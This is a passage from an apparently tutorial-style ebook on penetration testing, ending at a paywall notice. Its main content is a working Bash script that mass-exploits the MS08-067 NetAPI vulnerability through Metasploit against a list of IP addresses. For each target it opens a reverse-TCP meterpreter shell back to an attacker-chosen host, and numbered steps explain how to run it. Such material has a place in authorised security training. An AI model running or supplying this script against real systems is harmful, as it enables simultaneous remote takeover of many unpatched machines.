How to do it...

The example that follows demonstrates how a Bash script can be used to exploit multiple instances of a single vulnerability simultaneously. This script in particular can be used to exploit multiple instances of the MS08-067 NetAPI vulnerability by referencing an input 
list of IP addresses:

#!/bin/bash
if [ ! $1 ]; then echo "Usage: #./script <host file> <LHOST>"; exit; fi
iplist=$1
lhost=$2

i=4444
for ip in $(cat $iplist)
do
gnome-terminal -x msfconsole -x "use exploit/windows/smb/ms08_067_netapi; set RHOST $ip; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST $lhost; set LPORT $i; run"
echo "Exploiting $ip and establishing reverse connection on local port $i"
i=$(($i+1))
done
  1. The script uses a for loop to execute a specific task for each IP address listed in the input text file. That specific task consists of launching a new GNOME terminal that in turn executes the msfconsole -x command that is necessary to exploit that particular system and then launch a reverse TCP meterpreter shell. Because the for loop launches a new GNOME terminal for each msfconsole exploit, each one is executed as an independent process. In this way, multiple processes can be running in parallel, and each target will be exploited simultaneously.
  2. The local port value is initialized at the value of 4444 and is incremented by 1 for each additional system that is exploited so that each meterpreter shell connects to a distinct local port. Because each process is executed in an independent shell, this script will need to be executed from the graphical desktop interface rather than over an SSH connection.
  3. The ./multipwn.sh Bash shell can be executed as follows:
  1. If the script is executed without supplying any arguments, the script will output the appropriate usage. This usage description will indicate that the script should be executed with an LHOST variable to define the listening IP system and the filename for a text file containing a list of target IP addresses.
  2. Once executed with these arguments, a series of new terminals will begin popping up. Each of these terminals will run the exploitation sequence of one of the IP addresses in the input list.
  3. The original execution terminal will output a list of processes as they are executed. In the example provided, three distinct systems are exploited, and a separate terminal is opened for each.
  1. An example of one of the terminals is as follows:
  1. Each individual terminal launches a separate instance of msfconsole and launches the exploit. Assuming the exploit is successful, the payload will be executed, and an interactive meterpreter shell will be available in each separate terminal.
..................Content has been hidden....................

You can't read the all page of ebook, please click here login for view all page.
Reset